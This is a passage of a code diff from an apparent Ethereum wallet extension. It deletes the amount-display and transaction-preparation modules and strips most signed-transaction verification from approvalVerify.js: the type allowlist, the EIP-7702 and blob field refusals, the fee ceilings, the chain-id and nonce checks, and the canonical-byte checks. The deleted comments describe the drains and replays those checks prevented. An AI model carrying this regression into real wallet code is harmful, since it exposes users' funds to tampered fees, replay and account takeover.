- * @returns {boolean} true if the listener was installed.
- */
-function registerAlarmHandlers(handlers) {
-    const api = alarmsApi();
-    if (!api || !api.onAlarm) return false;
-    api.onAlarm.addListener((alarm) => {
-        const handler = handlers[alarm && alarm.name];
-        if (handler) handler();
-    });
-    return true;
-}
-
-module.exports = {
-    BALANCE_REFRESH_ALARM,
-    OBSOLETE_ALARMS,
-    MIN_ALARM_PERIOD_MINUTES,
-    BALANCE_REFRESH_PERIOD_MINUTES,
-    clearObsoleteAlarms,
-    ensureAlarm,
-    ensureRecurringAlarms,
-    registerAlarmHandlers,
-};

src/shared/amountDisplay.js

@@ -1,46 +0,0 @@
-// The 4-decimal amount rule from README.md's Display Consistency section, and
-// the one exception to it, in one place. Three call sites had grown their own
-// copy of the truncation — the history and balance lists
-// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
-// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
-// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
-// two showing a different number for the same value.
-//
-// The two functions below are the two policies, not two implementations of
-// one: summary lists truncate, and the screens that state what is being
-// authorized truncate with a floor. Keeping them adjacent is the point, so a
-// change to the rule cannot reach one screen and miss another.
-
-// Truncate to exactly four decimal places. Truncation, never rounding: an
-// amount must never be displayed as larger than it is, so 0.99999 stays
-// 0.9999.
-function truncateAmount(val) {
-    const parts = val.split(".");
-    if (parts.length === 1) return val + ".0000";
-    return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
-}
-
-// The same rule, plus the invariant the approval and confirmation screens
-// hold: a nonzero amount never renders as zero. Truncating to four decimals
-// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
-// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
-// as "nothing is being moved" on the screen whose whole job is to say what is
-// being authorized.
-//
-// When the truncated string carries no significant digit and the value does,
-// the amount is extended to its first significant digit instead. It stays in
-// token units, the same unit as the symbol printed beside it. A genuine zero
-// still renders 0.0000, and anything at or above the floor is untouched.
-function truncateAmountNeverZero(val) {
-    const truncated = truncateAmount(val);
-    // Tests the whole truncated string, integer part included: 1.00005 has a
-    // significant digit already and stays 1.0000.
-    if (/[1-9]/.test(truncated)) return truncated;
-    const parts = val.split(".");
-    if (parts.length === 1) return truncated;
-    const sig = parts[1].search(/[1-9]/);
-    if (sig === -1) return truncated;
-    return parts[0] + "." + parts[1].slice(0, sig + 1);
-}
-
-module.exports = { truncateAmount, truncateAmountNeverZero };

src/shared/approvalAmount.js

@@ -1,88 +0,0 @@
-// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
-// to display when there is no such scale.
-//
-// The approval screen decodes `transfer` and `approve` calldata into a
-// quantity the user confirms against. That quantity is a base-unit integer,
-// and turning it into a number a person can read needs the token's decimals.
-// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
-// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
-// default of 18 it reads `0.0000`, and a user who reads zero signs.
-//
-// So a scale is either found or the amount is not formatted. Decimals are
-// looked for in the bundled token list, then in the tokens the user tracks,
-// then in what the block explorer reported for the contract; where none of
-// them answers, unknownDecimalsAmount() renders the base-unit integer with the
-// unknown scale stated, and no formatUnits() call is reached at all.
-//
-// The Uniswap decoder's Amount and Min. received lines land on this same
-// screen and use these same two functions, so there is one way of resolving a
-// scale and one way of saying there is none.
-//
-// This is the display counterpart to transferAmount.js, which takes the same
-// stance on the wallet's own send path: an amount whose scale is unknown or
-// disputed is refused rather than guessed at.
-
-// Solidity's decimals() is a uint8, and every source here is ultimately
-// reporting that call's result. toDecimals() is that check, shared with the
-// send path rather than copied: the bundled list stores numbers, the
-// explorer's copy arrives as a string, and a token the user added by hand
-// carries whatever lookupTokenInfo() got back, so the accepted types are
-// enumerated rather than coerced.
-const { toDecimals } = require("./transferAmount");
-const { TOKEN_BY_ADDRESS } = require("./tokenList");
-
-// Every decimals the explorer reported for this contract, across all the
-// addresses whose balances have been fetched. They describe one contract, so
-// they should agree; a set that does not agree is a scale in dispute, and this
-// screen has no way to tell which member is the true one.
-function explorerDecimals(lower, wallets) {
-    let found = null;
-    for (const wallet of wallets || []) {
-        for (const addr of wallet.addresses || []) {
-            for (const tb of addr.tokenBalances || []) {
-                if ((tb.address || "").toLowerCase() !== lower) continue;
-                const d = toDecimals(tb.decimals);
-                if (d === null) continue;
-                if (found !== null && found !== d) return null;
-                found = d;
-            }
-        }
-    }
-    return found;
-}
-
-// The decimals to render a token amount with, or null when nothing knows.
-// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
-function resolveTokenDecimals(tokenAddress, sources) {
-    const lower = (tokenAddress || "").toLowerCase();
-    if (!lower) return null;
-
-    const bundled = TOKEN_BY_ADDRESS.get(lower);
-    if (bundled) {
-        const d = toDecimals(bundled.decimals);
-        if (d !== null) return d;
-    }
-
-    const tracked = ((sources && sources.trackedTokens) || []).find(
-        (t) => (t.address || "").toLowerCase() === lower,
-    );
-    if (tracked) {
-        const d = toDecimals(tracked.decimals);
-        if (d !== null) return d;
-    }
-
-    return explorerDecimals(lower, sources && sources.wallets);
-}
-
-// What the amount line reads when the scale is unknown. The base units are
-// exact and the caveat is part of the same string, so the number on the screen
-// cannot be mistaken for a token quantity, and it can never read as zero for a
-// transfer that is not zero.
-function unknownDecimalsAmount(rawAmount) {
-    return String(rawAmount) + " base units (decimals unknown)";
-}
-
-module.exports = {
-    resolveTokenDecimals,
-    unknownDecimalsAmount,
-};

src/shared/approvalTx.js

@@ -1,213 +0,0 @@
-// Preparation of the transaction an approval screen displays.
-//
-// A dApp's eth_sendTransaction normally fixes only `to`, `value` and `data`.
-// The nonce, the gas limit and the fees have to be filled in from the network
-// before anything can be signed, and whoever fills them in decides what the
-// user is shown. That work used to happen in the popup, after the user had
-// already approved: the numbers on the approval screen came from the popup and
-// were compared against nothing, so a compromised popup could display one fee
-// and sign another, and the ceilings in approvalVerify.js were all that stood
-// between the user and a fee that hands the validator the balance.
-//
-// So it happens here instead, in the background, before the approval window is
-// opened. The background populates the transaction, shows that object, and
-// verifies the signed artifact against that same object — the popup is handed
-// a finished transaction and signs it as given. Every field the user reads is
-// then a field that is compared.
-//
-// The cost is an RPC round trip before the approval window exists. Nothing is
-// displayed while it is in flight, and a failure — an unreachable node, a
-// reverting gas estimate, a transaction type this wallet does not sign, a fee
-// past the ceilings — means no approval and no window at all: the error goes
-// back to the requesting page, which is where the user's click came from. That
-// is deliberate. The alternative, opening the window first and populating
-// behind a spinner, needs a pending approval that exists before it can be
-// displayed or signed, and a half-initialised approval is exactly the state
-// the settle interlock in the background exists to keep out of that record.
-// The failure also lands earlier than it used to rather than later: the same
-// estimate previously failed after the user had typed their password.
-
-const {
-    VoidSigner,
-    accessListify,
-    getAddress,
-    getBytes,
-    hexlify,
-    toQuantity,
-} = require("ethers");
-const {
-    ALLOWED_TX_TYPES,
-    SERIALIZED_FIELDS,
-    assertWithinCeilings,
-} = require("./approvalVerify");
-
-// How long the population may take before the request is failed back to the
-// page. Without a bound a hung RPC endpoint leaves the dApp's promise pending
-// forever with nothing on screen to explain it; ethers' own request timeout is
-// minutes long, which is not a wait anyone will sit through.
-const POPULATE_TIMEOUT_MS = 20000;
-
-// The request fields taken from the page. Anything else is dropped rather than
-// passed to ethers: the object is page-controlled, and a future ethers that
-// learns to carry a new transaction field must not start picking one up out of
-// it without this module knowing.
-const REQUEST_FIELDS = [
-    "to",
-    "value",
-    "data",
-    "nonce",
-    "gasLimit",
-    "gasPrice",
-    "maxFeePerGas",
-    "maxPriorityFeePerGas",
-    "chainId",
-    "accessList",
-    "type",
-];
-
-class ApprovalPrepareError extends Error {
-    constructor(message) {
-        super(message);
-        this.name = "ApprovalPrepareError";
-    }
-}
-
-function fail(message) {
-    return new ApprovalPrepareError(message);
-}
-
-function present(v) {
-    return v !== null && v !== undefined && v !== "";
-}
-
-// These strings reach the user through the requesting page, so they are full
-// sentences even when the tail of one came from ethers or from the node.
-function sentence(text) {
-    return /[.!?]$/.test(text) ? text : text + ".";
-}
-
-// Reject a promise that has taken too long, and never leave the timer behind.
-async function withTimeout(promise, ms, message) {
-    let timer = null;
-    try {
-        return await Promise.race([
-            promise,
-            new Promise((_resolve, reject) => {
-                timer = setTimeout(() => reject(fail(message)), ms);
-            }),
-        ]);
-    } finally {
-        if (timer !== null) clearTimeout(timer);
-    }
-}
-
-// The page's request, reduced to the fields this wallet acts on.
-function requestFrom(txParams, from) {
-    const request = { from: getAddress(from) };
-    for (const key of REQUEST_FIELDS) {
-        if (present(txParams[key])) request[key] = txParams[key];
-    }
-    if (
-        present(request.type) &&
-        !ALLOWED_TX_TYPES.includes(Number(request.type))
-    ) {
-        throw fail(
-            "The site asked for a transaction of a type this wallet does not sign.",
-        );
-    }
-    return request;
-}
-
-// Turn a populated transaction into the object that crosses to the popup, is
-// displayed, and is compared with the signed artifact. It carries exactly the
-// fields its type serializes, plus the address it is to be signed by, and
-// every quantity as a hex string: extension messaging is JSON, which has no
-// bigint, and a field that did not survive the trip would be a field the user
-// was shown and nothing compared.
-function serializeApprovedTx(populated, from) {
-    const type = Number(populated.type);
-    if (!ALLOWED_TX_TYPES.includes(type)) {
-        throw fail(
-            "This transaction would have to be sent as a type this wallet does not sign.",
-        );
-    }
-    const approved = { type, from: getAddress(from) };
-    for (const key of SERIALIZED_FIELDS[type]) {
-        if (key === "to") {
-            approved.to = present(populated.to)
-                ? getAddress(populated.to)
-                : null;
-        } else if (key === "data") {
-            approved.data = present(populated.data)
-                ? hexlify(getBytes(populated.data))
-                : "0x";
-        } else if (key === "accessList") {
-            approved.accessList = accessListify(populated.accessList || []);
-        } else if (key === "value") {
-            approved.value = toQuantity(populated.value || 0);
-        } else if (!present(populated[key])) {
-            // Unreachable while populateTransaction() fills every quantity of
-            // the type it produced. If it ever does not, the approval must not
-            // be raised: an unfixed quantity is one the artifact cannot be
-            // checked against.
-            throw fail(
-                "The transaction could not be prepared: the network did not supply a " +
-                    key +
-                    ".",
-            );
-        } else {
-            approved[key] = toQuantity(populated[key]);
-        }
-    }
-    return approved;
-}
-
-// Populate the transaction a site asked for, as the address it will be signed
-// by, and return the object to display, sign and verify against. Throws with a
-// full sentence when no approval can be raised.
-async function prepareApprovalTx(provider, from, txParams) {
-    if (!present(from)) {
-        throw fail("There is no active address to send this transaction from.");
-    }
-    const request = requestFrom(txParams || {}, from);
-
-    let populated;
-    try {
-        // The sequence ethers' own sendTransaction() runs internally, so the
-        // nonce, gas, fee and chain id are populated exactly as they were when
-        // the popup did this. VoidSigner cannot sign, which is the point: the
-        // background prepares, the popup signs.
-        populated = await withTimeout(
-            new VoidSigner(getAddress(from), provider).populateTransaction(
-                request,
-            ),
-            POPULATE_TIMEOUT_MS,
-            "The transaction could not be prepared: the network did not answer in time.",
-        );
-    } catch (e) {
-        if (e instanceof ApprovalPrepareError) throw e;
-        throw fail(
-            sentence(
-                "The transaction could not be prepared: " +
-                    (e.shortMessage ||
-                        e.message ||
-                        "the network did not answer"),
-            ),
-        );
-    }
-
-    const approved = serializeApprovedTx(populated, from);
-    // The backstop, applied before the user is shown anything rather than
-    // after they have approved it: what is displayed here is what gets signed,
-    // so an RPC node reporting an absurd fee has to be refused here.
-    assertWithinCeilings(approved);
-    return approved;
-}
-
-module.exports = {
-    prepareApprovalTx,
-    serializeApprovedTx,
-    ApprovalPrepareError,
-    POPULATE_TIMEOUT_MS,
-    REQUEST_FIELDS,
-};

src/shared/approvalVerify.js

@@ -7,160 +7,17 @@
 // the signer from the artifact and checks it against the approval it is
 // holding before acting on it. All recovery is delegated to ethers.
 //
-// What the artifact is checked against is the transaction the background
-// populated and the popup displayed (see approvalTx.js), not the request the
-// dApp made. The two differ in every field a dApp normally leaves out — nonce,
-// gas limit, fees — and those are the fields the user reads off the approval
-// screen, so comparing against the request would leave the numbers on screen
-// vouched for by nothing.
-//
-// The check is an allowlist, in both directions, because a denylist cannot be
-// correct against a transaction format that keeps gaining fields:
-//
-//  - only transaction types 0, 1 and 2 are accepted. Every later EIP-2718 type
-//    adds a field with consequences of its own — EIP-7702's authorizationList
-//    rewrites the code at the signer's own account, EIP-4844's blob
-//    commitments carry a separate fee — and a check that enumerates the fields
-//    it refuses admits every one of them by default.
-//  - after the per-field comparisons, the artifact is rebuilt from those
-//    checked fields and nothing else, and the two are compared byte for byte.
-//    Anything the artifact carries that this module does not name is absent
-//    from the rebuild and changes the bytes, so the final assertion is that
-//    the artifact *is* the approved transaction, not merely that it is not one
-//    of the tampered shapes that were thought of.
-//  - every comparison runs against the decode, but the string handed to
-//    broadcastTransaction() is the artifact. So the artifact is also required
-//    to be the canonical re-encoding of its own decode, which is what makes
-//    the checked transaction and the broadcast bytes the same object rather
-//    than two things that merely decode alike.
-//
-// Every consequential field is compared, and a mismatch is a refusal to act,
-// never a warning: what the user approved is what gets broadcast, or nothing
-// does.
-//
-// The approved transaction is required to fix every field its type serializes,
-// so there is no "the approval did not say" branch to fall through: a quantity
-// the approval does not carry is a refusal, because an artifact that cannot be
-// compared with what was displayed has not been checked. The chain id is
-// checked against the selected network as well as against the approval, which
-// is what makes a cross-chain replay impossible.
-//
 // Every failure message is a full sentence, because these strings are shown to
 // the user and returned to the dApp.
 
 const {
     Transaction,
-    accessListify,
     getAddress,
     getBytes,
     verifyMessage,
     verifyTypedData,
 } = require("ethers");
 
-// The only transaction types this wallet signs: legacy, EIP-2930 and
-// EIP-1559. populateTransaction() produces nothing else, so nothing else can
-// be an artifact of an approval this wallet raised.
-const ALLOWED_TX_TYPES = [0, 1, 2];
-
-// The serialized fields of each allowed type, which is also the complete set
-// of fields the checks below compare or bound. The artifact is rebuilt from
-// exactly these at the end of verification and compared byte for byte, so a
-// field outside this table cannot ride along unexamined.
-const SERIALIZED_FIELDS = {
-    0: ["chainId", "nonce", "gasPrice", "gasLimit", "to", "value", "data"],
-    1: [
-        "chainId",
-        "nonce",
-        "gasPrice",
-        "gasLimit",
-        "to",
-        "value",
-        "data",
-        "accessList",
-    ],
-    2: [
-        "chainId",
-        "nonce",
-        "maxPriorityFeePerGas",
-        "maxFeePerGas",
-        "gasLimit",
-        "to",
-        "value",
-        "data",
-        "accessList",
-    ],
-};
-
-// Fields no allowed type may carry. The type allowlist already excludes every
-// type that defines them, and the structural check at the end of verification
-// would catch them anyway; they are named here so that an artifact carrying
-// one is refused with a message that says what it was.
-const FORBIDDEN_FIELDS = [
-    {
-        key: "authorizationList",
-        message:
-            "The signed transaction would hand the signing account over to another contract, which was not approved.",
-    },
-    {
-        key: "blobVersionedHashes",
-        message:
-            "The signed transaction carries blob commitments, which were not approved.",
-    },
-    {
-        key: "blobs",
-        message:
-            "The signed transaction carries blobs, which were not approved.",
-    },
-    {
-        key: "maxFeePerBlobGas",
-        message:
-            "The signed transaction carries a blob gas fee, which was not approved.",
-    },
-];
-
-// Absolute ceilings — a BACKSTOP, not the primary control.
-//
-// The primary control is equality: every field of the artifact is compared
-// with the populated transaction the user was shown, so nothing the popup
-// signs can differ from the screen. What equality cannot bound is the
-// populated transaction itself, which is built from what the configured RPC
-// node answered — a node that reports an absurd fee gets that fee displayed,
-// and a user who does not read the fee line would approve it. These ceilings
-// bound that, and they are therefore applied where the transaction is
-// populated (approvalTx.js) as well as here.
-//
-// Above the block gas limit of every supported network (see networks.js), so
-// no transaction that could ever be included is refused by it.
-const MAX_GAS_LIMIT = 100000000n;
-
-// 100,000 gwei per gas: orders of magnitude above the highest fee either
-// supported network has produced, and low enough to catch a fee that would
-// hand the validator the balance.
-const MAX_FEE_PER_GAS = 100000000000000n;
-
-// A refusal to act on an artifact: it is not the thing that was approved, so
-// the approval it was offered against is spent and must not be retried. Every
-// throw in this module is one of these; the background distinguishes them from
-// transient failures (a busy node, a failed broadcast), which leave the
-// approval standing so the user can try again.
-class ApprovalMismatchError extends Error {
-    constructor(message) {
-        super(message);
-        this.name = "ApprovalMismatchError";
-        this.approvalMismatch = true;
-    }
-}
-
-function refuse(message) {
-    return new ApprovalMismatchError(message);
-}
-
-// Whether a signing failure leaves the approval usable. Anything that is not a
-// mismatch is the user's to correct and retry.
-function failureIsRetryable(err) {
-    return !(err && err.approvalMismatch === true);
-}
-
 // Case-insensitive address comparison that tolerates absent values on either
 // side. Two absent addresses compare equal (contract creation has no `to`).
 function sameAddress(a, b) {
@@ -174,64 +31,11 @@ function sameAddress(a, b) {
     }
 }
 
-// Whether the approval fixed a value for a field at all.
-function present(v) {
-    return v !== null && v !== undefined && v !== "";
-}
-
-// Whether a field carries anything at all. An empty array is nothing: ethers
-// reports an absent access list on a type 2 transaction as `[]`.
-function carriesValue(v) {
-    if (!present(v)) return false;
-    if (Array.isArray(v)) return v.length > 0;
-    return true;
-}
-
-// Normalize a quantity that must be present, refusing anything that is not a
-// number: an approval carrying junk in a fee field cannot be compared, and an
-// uncomparable field is a refusal rather than a pass.
-function normalizeQuantity(v, label) {
-    try {
-        return BigInt(v);
-    } catch {
-        throw refuse(
-            "The approved " +
-                label +
-                " is not a number, so it cannot be" +
-                " compared with the signed transaction.",
-        );
-    }
-}
-
 // Normalize a transaction value (hex string, decimal string, number or
-// bigint) to a bigint. An absent value is zero, matching ethers. The value is
-// page-controlled, so it goes through the same refusal as every other
-// quantity rather than throwing a raw BigInt conversion error.
+// bigint) to a bigint. An absent value is zero, matching ethers.
 function normalizeValue(v) {
-    if (!present(v)) return 0n;
-    return normalizeQuantity(v, "value");
-}
-
-// Normalize an access list to a comparable string. An absent or empty list is
-// the empty string, so absent and `[]` are the same thing.
-function normalizeAccessList(v) {
-    if (!carriesValue(v)) return "";
-    let list;
-    try {
-        list = accessListify(v);
-    } catch {
-        throw refuse(
-            "The approved access list is not a valid access list, so it cannot be compared with the signed transaction.",
-        );
-    }
-    return list
-        .map(
-            (entry) =>
-                String(entry.address).toLowerCase() +
-                ":" +
-                entry.storageKeys.map((k) => String(k).toLowerCase()).join(","),
-        )
-        .join(";");
+    if (v === null || v === undefined || v === "") return 0n;
+    return BigInt(v);
 }
 
 // Normalize call data to a lowercase hex string. Absent data is "0x".
@@ -240,320 +44,45 @@ function normalizeData(v) {
     return String(v).toLowerCase();
 }
 
-// How each field of an approved transaction is compared with the artifact.
-// There is an entry here for every field any allowed type serializes — a test
-// pins that against SERIALIZED_FIELDS — so the comparison loop covers the
-// whole of what gets signed and cannot silently skip a field for want of a
-// comparator.
-//
-// `kind` decides how the two sides are made comparable. A `quantity` must be
-// fixed by the approval: it is one of the numbers on the approval screen, and
-// an absent one means the artifact cannot be checked against what was
-// displayed. `to`, `value`, `data` and `accessList` have canonical absent
-// forms — contract creation, zero, "0x" and the empty list — so they are
-// normalized on both sides instead.
-const APPROVED_FIELDS = {
-    chainId: {
-        kind: "quantity",
-        label: "network",
-        message:
-            "The signed transaction is for a different network than the one that was approved.",
-    },
-    nonce: {
-        kind: "quantity",
-        label: "nonce",
-        message: "The signed transaction does not carry the approved nonce.",
-    },
-    gasLimit: {
-        kind: "quantity",
-        label: "gas limit",
-        message:
-            "The signed transaction does not carry the approved gas limit.",
-    },
-    gasPrice: {
-        kind: "quantity",
-        label: "gas price",
-        message:
-            "The signed transaction does not carry the approved gas price.",
-    },
-    maxFeePerGas: {
-        kind: "quantity",
-        label: "maximum fee per gas",
-        message:
-            "The signed transaction does not carry the approved maximum fee per gas.",
-    },
-    maxPriorityFeePerGas: {
-        kind: "quantity",
-        label: "maximum priority fee per gas",
-        message:
-            "The signed transaction does not carry the approved maximum priority fee per gas.",
-    },
-    to: {
-        kind: "address",
-        label: "recipient",
-        message:
-            "The signed transaction does not go to the approved recipient.",
-    },
-    value: {
-        kind: "value",
-        label: "value",
-        message: "The signed transaction does not carry the approved value.",
-    },
-    data: {
-        kind: "data",
-        label: "call data",
-        message:
-            "The signed transaction does not carry the approved call data.",
-    },
-    accessList: {
-        kind: "accessList",
-        label: "access list",
-        message:
-            "The signed transaction does not carry the approved access list.",
-    },
-};
-
-// Compare one field of the artifact with the approved transaction. A field
-// with no entry in the table above is refused rather than skipped: the loop
-// below runs over the fields the type serializes, so an unmatched key means
-// something that gets signed has no comparator at all.
-function assertFieldMatches(key, parsed, approvedTx) {
-    const field = APPROVED_FIELDS[key];
-    if (!field) {
-        throw refuse(
-            "The signed transaction carries a field this wallet cannot compare with the approval.",
-        );
-    }
-    switch (field.kind) {
-        case "quantity": {
-            if (!present(approvedTx[key])) {
-                throw refuse(
-                    "The approved transaction fixes no " +
-                        field.label +
-                        ", so the signed transaction cannot be checked" +
-                        " against what was shown.",
-                );
-            }
-            const approved = normalizeQuantity(approvedTx[key], field.label);
-            if (normalizeQuantity(parsed[key], field.label) !== approved) {
-                throw refuse(field.message);
-            }
-            return;
-        }
-        case "address":
-            if (!sameAddress(parsed[key], approvedTx[key])) {
-                throw refuse(field.message);
-            }
-            return;
-        case "value":
-            if (normalizeValue(parsed[key]) !== normalizeValue(approvedTx[key]))
-                throw refuse(field.message);
-            return;
-        case "data":
-            if (normalizeData(parsed[key]) !== normalizeData(approvedTx[key]))
-                throw refuse(field.message);
-            return;
-        default:
-            if (
-                normalizeAccessList(parsed[key]) !==
-                normalizeAccessList(approvedTx[key])
-            ) {
-                throw refuse(field.message);
-            }
-    }
-}
-
-// The ceilings, applied to a transaction that is either about to be displayed
-// or about to be broadcast. See MAX_GAS_LIMIT above for what they are for:
-// they bound what the RPC node can talk this wallet into showing the user,
-// which is the one thing comparing the artifact with the screen cannot do.
-function assertWithinCeilings(tx) {
-    if (
-        present(tx.gasLimit) &&
-        normalizeQuantity(tx.gasLimit, "gas limit") > MAX_GAS_LIMIT
-    ) {
-        throw refuse(
-            "The signed transaction sets a gas limit no network this wallet supports can accept.",
-        );
-    }
-    for (const key of ["gasPrice", "maxFeePerGas", "maxPriorityFeePerGas"]) {
-        if (!present(tx[key])) continue;
-        if (normalizeQuantity(tx[key], "fee per gas") > MAX_FEE_PER_GAS) {
-            throw refuse(
-                "The signed transaction sets a fee per gas far above any plausible value.",
-            );
-        }
-    }
-}
-
-// Refuse a field only a transaction type this wallet does not sign can carry.
-// The type allowlist keeps these unreachable in production, which is exactly
-// what they are for; it also means nothing else exercises them, so this is
-// exported and tested on its own rather than left to be believed.
-function assertNoForbiddenFields(parsed) {
-    for (const field of FORBIDDEN_FIELDS) {
-        if (carriesValue(parsed[field.key])) throw refuse(field.message);
-    }
-}
-
-// Closing structural check. Rebuild the transaction from the fields the
-// comparisons cover, and nothing else, then compare the unsigned bytes. Every
-// field carried by the artifact but absent from the rebuild changes the
-// serialization, so this refuses anything this module does not account for —
-// including a field a future ethers learns to parse onto an allowed type —
-// instead of waving it through by not naming it. Also exported for its own
-// test: nothing reachable today can make the bytes differ.
-function assertNothingUnchecked(parsed) {
-    let rebuilt;
-    try {
-        const fields = { type: parsed.type };
-        for (const key of SERIALIZED_FIELDS[parsed.type]) {
-            fields[key] = parsed[key];
-        }
-        rebuilt = Transaction.from(fields);
-    } catch {
-        throw refuse(
-            "The signed transaction could not be rebuilt from the fields that were checked, so it cannot be shown to be the approved transaction.",
-        );
-    }
-    if (rebuilt.unsignedSerialized !== parsed.unsignedSerialized) {
-        throw refuse(
-            "The signed transaction carries data beyond the fields that were checked against the approval.",
-        );
-    }
-}
-
-// The other half of the closing check, and the one that makes it bind on the
-// bytes that actually leave: every comparison above runs against the decode,
-// so on its own the rebuild proves only that the transaction ethers understood
-// is the approved one. What the background hands to broadcastTransaction() is
-// the artifact string itself. Requiring the artifact to be exactly the
-// canonical re-encoding of its own decode closes the gap between the two —
-// no encoding the decoder normalizes away (a leading zero byte on an RLP
-// quantity, say) can differ from what was checked. Hex case is not part of the
-// encoding, so only that is normalized before comparing.
-function assertCanonicalBytes(parsed, rawSignedTx) {
-    if (parsed.serialized !== String(rawSignedTx).toLowerCase()) {
-        throw refuse(
-            "The signed transaction is not encoded canonically, so the bytes that would be broadcast are not the bytes that were checked.",
-        );
-    }
-}
-
 // Assert that a raw signed transaction is the transaction the user approved,
-// signed by the address the approval was raised for, on the network that is
-// selected. Returns the parsed ethers Transaction on success, throws
-// otherwise.
-//
-// `approvedTx` is the populated transaction the approval screen displayed, and
-// `expectedFrom` is the address that was active when the approval was raised —
-// not whichever address is active now. An address switch between approval and
-// signing therefore refuses here rather than producing a transaction from an
-// account the approval did not name.
-function verifySignedTx(
-    rawSignedTx,
-    approvedTx,
-    expectedFrom,
-    selectedChainId,
-) {
+// signed by the address the approval was raised for. Returns the parsed
+// ethers Transaction on success, throws otherwise.
+function verifySignedTx(rawSignedTx, txParams, expectedFrom) {
     if (typeof rawSignedTx !== "string" || !rawSignedTx.startsWith("0x")) {
-        throw refuse("The signed transaction is missing or malformed.");
-    }
-    // Nothing to compare against is a refusal like any other: an approval that
-    // does not carry the transaction it displayed cannot vouch for one.
-    if (!approvedTx || typeof approvedTx !== "object") {
-        throw refuse(
-            "There is no approved transaction to check the signed transaction against.",
-        );
+        throw new Error("The signed transaction is missing or malformed.");
     }
 
     let parsed;
     try {
         parsed = Transaction.from(rawSignedTx);
     } catch {
-        throw refuse("The signed transaction could not be decoded.");
+        throw new Error("The signed transaction could not be decoded.");
     }
 
     if (!parsed.from) {
-        throw refuse("The signed transaction carries no valid signature.");
+        throw new Error("The signed transaction carries no valid signature.");
     }
     if (!sameAddress(parsed.from, expectedFrom)) {
-        throw refuse(
+        throw new Error(
             "The signed transaction was signed by a different address than the one that was approved.",
         );
     }
-
-    // Before any field is looked at: the type decides which fields exist at
-    // all, so an unrecognised type is refused outright rather than compared
-    // field by field against an approval that cannot describe it.
-    if (!ALLOWED_TX_TYPES.includes(parsed.type)) {
-        throw refuse(
-            "The signed transaction is of a type this wallet does not sign, so what it would do beyond the approved transfer cannot be checked.",
+    if (!sameAddress(parsed.to, txParams.to)) {
+        throw new Error(
+            "The signed transaction does not go to the approved recipient.",
         );
     }
-    assertNoForbiddenFields(parsed);
-
-    // The selected network, not the artifact, is the authority on which chain
-    // this may be broadcast to; without it nothing can be verified.
-    if (!present(selectedChainId)) {
-        throw refuse(
-            "The selected network is unknown, so the signed transaction cannot be checked against it.",
+    if (normalizeValue(parsed.value) !== normalizeValue(txParams.value)) {
+        throw new Error(
+            "The signed transaction does not carry the approved value.",
         );
     }
-    if (parsed.chainId !== normalizeQuantity(selectedChainId, "network")) {
-        throw refuse(
-            "The signed transaction is for a different network than the one that is selected.",
+    if (normalizeData(parsed.data) !== normalizeData(txParams.data)) {
+        throw new Error(
+            "The signed transaction does not carry the approved call data.",
         );
     }
 
-    // The approved fee mechanism, named before the type comparison below
-    // subsumes it: the fee the user agreed to is only meaningful under the
-    // mechanism it was quoted in, and saying so is more use than "a different
-    // transaction type".
-    const approvedEip1559 =
-        present(approvedTx.maxFeePerGas) ||
-        present(approvedTx.maxPriorityFeePerGas);
-    const approvedLegacy = present(approvedTx.gasPrice);
-    const signedEip1559 = parsed.type === 2;
-    if (
-        (approvedEip1559 && !signedEip1559) ||
-        (approvedLegacy && signedEip1559)
-    ) {
-        throw refuse(
-            "The signed transaction does not use the approved fee mechanism.",
-        );
-    }
-
-    // The type decides which fields are compared, so it is compared first and
-    // against the approval, not merely checked for membership of the
-    // allowlist above.
-    if (!present(approvedTx.type)) {
-        throw refuse(
-            "The approved transaction fixes no transaction type, so the signed transaction cannot be checked against what was shown.",
-        );
-    }
-    if (
-        BigInt(parsed.type) !==
-        normalizeQuantity(approvedTx.type, "transaction type")
-    ) {
-        throw refuse(
-            "The signed transaction does not use the approved transaction type.",
-        );
-    }
-
-    // Every field this type serializes, compared with the transaction the user
-    // was shown. Driving the loop off SERIALIZED_FIELDS is what keeps this
-    // exhaustive: the same table decides what assertNothingUnchecked() rebuilds
-    // from, so a field that gets signed and is not compared here cannot exist.
-    for (const key of SERIALIZED_FIELDS[parsed.type]) {
-        assertFieldMatches(key, parsed, approvedTx);
-    }
-
-    assertWithinCeilings(parsed);
-
-    assertNothingUnchecked(parsed);
-    assertCanonicalBytes(parsed, rawSignedTx);
-
     return parsed;
 }
 
@@ -562,7 +91,7 @@ function verifySignedTx(
 // address on success, throws otherwise.
 function verifySignature(signParams, signature, expectedFrom) {
     if (typeof signature !== "string" || !signature.startsWith("0x")) {
-        throw refuse("The signature is missing or malformed.");
+        throw new Error("The signature is missing or malformed.");
     }
 
     let recovered;
@@ -580,11 +109,11 @@ function verifySignature(signParams, signature, expectedFrom) {
             recovered = verifyTypedData(domain, types, message, signature);
         }
     } catch {
-        throw refuse("The signature could not be verified.");
+        throw new Error("The signature could not be verified.");
     }
 
     if (!sameAddress(recovered, expectedFrom)) {
-        throw refuse(
+        throw new Error(
             "The signature was produced by a different address than the one that was approved.",
         );
     }
@@ -592,187 +121,4 @@ function verifySignature(signParams, signature, expectedFrom) {
     return recovered;
 }
 
-// The stage a transaction approval failed at. Which stage it is decides
-// whether the approval survives the failure.
-const TX_STAGE_SIGN = "sign";
-const TX_STAGE_VERIFY = "verify";
-const TX_STAGE_BROADCAST = "broadcast";
-// Not a failure of this request at all: a second response arrived for an
-// approval an attempt already holds. The first attempt is still running and
-// may yet succeed, so the one thing the popup must not say is "start again
-// from the site".
-const TX_STAGE_INFLIGHT = "inflight";
-// A transaction refused for a nonce that is already spoken for, either by the
-// node's own answer or by this wallet's record of what it has broadcast. It is
-// the one broadcast-stage failure that is not ambiguous: the transaction was
-// not taken, so the user is told it did not reach the network and to send it
-// again, rather than being warned that it might already be out there.
-const TX_STAGE_NONCE = "nonce";
-
-function errorText(err) {
-    if (typeof err === "string" && err !== "") return err;
-    if (err && (err.shortMessage || err.message)) {
-        return err.shortMessage || err.message;
-    }
-    return "The transaction could not be sent.";
-}
-
-// Every string a failure might carry its reason in. ethers reports the node's
-// own words in `shortMessage`, but a JSON-RPC error it could not classify is
